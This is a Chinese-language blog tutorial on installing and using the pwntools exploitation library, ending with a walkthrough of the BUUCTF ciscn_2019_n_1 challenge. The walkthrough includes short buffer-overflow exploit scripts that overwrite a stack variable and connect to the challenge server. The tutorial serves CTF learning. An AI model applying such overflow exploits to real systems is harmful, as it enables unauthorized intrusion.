PWN利器-pwntools安装、调试教程一览

关于pwntools

Documentation: pwntools — pwntools 4.10.0dev documentation

Github: https://github.com/Gallopsled/pwntools#readme

GitHub – Gallopsled/pwntools-tutorial: Tutorials for getting started with Pwntools

pwntools是一个CTF框架和漏洞利用的python开发库,专为快速开发而设计,旨在使漏洞利用编写尽可能简答;

网上可以看到很多人写的,但是都是比较老的教程,然后官方提供的documentation很详细,但是对于新人来说阅读和实践比较不友好;

安装

虽然以前刚开始的时候是用python2来学习pwn,然后也比较方便;但是现在pwntools官方不再支持python2了,建议新人在python3环境下学习pwntools;

Python3环境下安装:

$ apt-get update

$ apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential

$ python3 -m pip install –upgrade pip

$ python3 -m pip install –upgrade pwntools

Python2环境下安装:

$ apt-get update

$ apt-get install python python-pip python-dev git libssl-dev libffi-dev build-essential

$ python2 -m pip install –upgrade pip==20.3.4

$ python2 -m pip install –upgrade pwntools

可以看到,新版kali也是python3自带pwntools,而python2没有了; 

后面内容没有特殊说明,均默认以python3来演示和操作;

pwntools功能函数

通信相关

输入输出

接收数据

recv(n) – 接收任意数量的可用字节

recvline() – 接收数据直到遇到换行符

recvuntil(delim) – 接收数据直到找到分隔符

recvregex(pattern) – 接收数据直到满足正则表达式模式

recvrepeat(timeout) – 继续接收数据,直到发生超时

clean() – 丢弃所有缓冲数据

发送数据

发送(数据) – 发送数据

sendline(line) – 发送数据加上换行符

操作整数

pack(int) – 发送一个字长的压缩整数

unpack() – 接收并解包一个字长整数

进程操作

为了创建一个与进程对话的tube,只需创建一个进程对象并为其指定目标二进制文件的名称。

from pwn import *

io = process(‘sh’)

io.sendline(‘echo Hello, world’)

io.recvline()

# ‘Hello, world\n’

 

执行上述代码的时候,可以看到其中有一个BytesWarning,其中导致的原因是一开始pwntools开发的时候是没有python3的,然后python2的str类型就是bytes类型,所以是不需要对这两个数据类型进行额外的处理;但是到了python3之后,str类型是unicode类型了,跟bytes类型有区别了,这就是要额外处理一下,加个b在str类型前面,以此来声明这是bytes类型的数据;

网络请求

网络请求也是CTF PWN中常见的,先本地分析提供的可执行文件,然后完成脚本编写后,需要连接到服务器中执行poc来获取flag;pwntools也提供非常简单的连接函数;

frompwnimport*io=remote(‘google.com’, 80)
io.send(‘GET /\r\n\r\n’)
io.recvline()
# ‘HTTP/1.0 200 OK\r\n’

指定不同的请求协议;

dns  = remote(‘8.8.8.8′, 53, typ=’udp’)

tcp6 = remote(‘google.com’, 80, fam=’ipv6′)

Shell请求

pwntools也可以实现shell连接,比如ssh;

from pwn import *

session = ssh(‘bandit0’, ‘bandit.labs.overthewire.org’, password=’bandit0′)

io = session.process(‘sh’, env={“PS1″:””})

io.sendline(‘echo Hello, world!’)

io.recvline()

# ‘Hello, world!\n

串口调试

from pwn import *

io = serialtube(‘/dev/ttyUSB0’, baudrate=115200)

实用功能程序/功能函数

除了上面通信相关的函数,pwntools还提供了大量的功能函数,这里列举部分常用的,具体可以参考pwnlib.util.*这一块的功能,官方文档:pwnlib.util.crc — Calculating CRC-sums — pwntools 4.10.0dev documentation

整数的处理

主要的打包和解包函数知道上下文中的全局设置,例如字节序、位和符号,也可以在函数调用中明确指定它们。

pack() – 打包任意长度的整数

p16() – 16位

p32() – 32位

unpack() – 解包任意长度的整数

u16() – 16位

u32() – 32位

文件处理 

frompwnimport*write(‘filename’, ‘data’)
read(‘filename’)
# ‘data’read(‘filename’, 1)
# ‘d’

散列和编码

 

 

 

当然除了这些常见的hash算法,还有很多都是支持,详细参考:pwnlib.util.hashes — Hashing functions — pwntools 4.10.0dev documentation

好了,学到这里,一些常见CTF中的PWN题比较简单的那种就可以自己来写poc了;来一道题试一下;

CTF-PWN

题目信息

题目链接:https://buuoj.cn/challenges#ciscn_2019_n_1

 

拿到文件,常规操作,先检测和运行一下,分别结果如上;

既然是可执行文件,那就拖到ida里边看看执行逻辑,目前发现关键的地方就在执行的输出提示,然后可以输入;大概出题人的思路已经有了;

大概的理解,v1为接收输入点,v2固定为0.0,当v2 == 11.28125是,返回flag值;

从这里的意思其实就能看出v1存在溢出,需要溢出到覆盖v2的值为指定值,以此达到读取flag的效果;

然后溢出点也只有gets v1的时候;

因为11.28125为固定值而不是以前题目的位置,所以需要在playload中直接传入其值;这里也可以直接看到v1的长度是44,然后v2是float类型,需要讲11.28125转换成float类型,也就是41 34 80 00

 到这里playload已经出来了,这时候我们用pwntool来本地测试;

GDB 本地调试

本地调试环境安装

 第一次连接,python会提示没有gdbserver的环境,kali环境下sudo apt-get install gdbserver,装一个就完事了;当然如果是嵌入式设备的话,需要对应的环境编译一个;

环境准备好后,就可以开始本地的调试了;

用python中的pwntool来打开gdb调试,这样可以方便查看stack变化;在gdb中输入c或者continue让程序继续运行;这时候输入我们的playload;可以看到程序的执行发生了变化;

这时我们就可以构造exp了

from pwn import *

import struct

p = remote(‘node4.buuoj.cn’,27075)

payload = b’a’*44 + struct.pack(‘<f’,11.28125)

p.sendline(payload)

p.interactive()

from pwn import *

p=remote(‘node4.buuoj.cn’,27075)

payload=b”a”*44+p64(0x41348000)

p.sendline(payload)

p.interactive()

pwntool其他功能

然后还有一些其他的功能,如context的全局配置;

from pwn import *

context.arch = ‘amd64’

  • arch:目标架构。有效值为“aarch64”、“arm”、“i386”、“amd64”等。默认值为“i386”。第一次设置时,它会自动将默认 context.bits 和 context.endian 设置为最可能的值。
  • bits:目标二进制中有多少位组成一个单词,例如32 或 64。
  • binary:从 ELF 文件中吸收设置。例如,context.binary=’/bin/sh’。
  • endian:根据需要设置为“大”或“小”(默认值)。
  • log_file:将所有日志记录输出发送到的文件。
  • log_level:日志的详细程度。有效值是整数(越小越详细)和字符串值,如“debug”、“info”和“error”。
  • Sign:设置整数打包/解包的默认符号。默认为“无符号”。
  • terminal:用于打开新窗口的首选终端程序。默认情况下,使用 x-terminal-emulator 或 tmux。
  • timeout:管操作的默认超时。
  • update:一次设置多个值,例如context.update(arch=’mips’, bits=64, endian=’big’)。

还有ELFs文件的操作、ROP、日志打印、内存泄露、debug等功能和高阶用法,这些留到后面再来补充;

【参考】:https://github.com/Gallopsled/pwntools-tutorial#readme

【参考】:pwntools — pwntools 4.10.0dev documentation

【参考】:BUUCTF-ciscn_2019_n_1_51CTO博客_ciscn_2019_n_8

文章出处登录后可见!

已经登录?立即刷新

共计人评分,平均

到目前为止还没有投票!成为第一位评论此文章。

(0)
青葱年少的头像青葱年少普通用户
上一篇 2023年6月7日
下一篇 2023年6月7日

相关推荐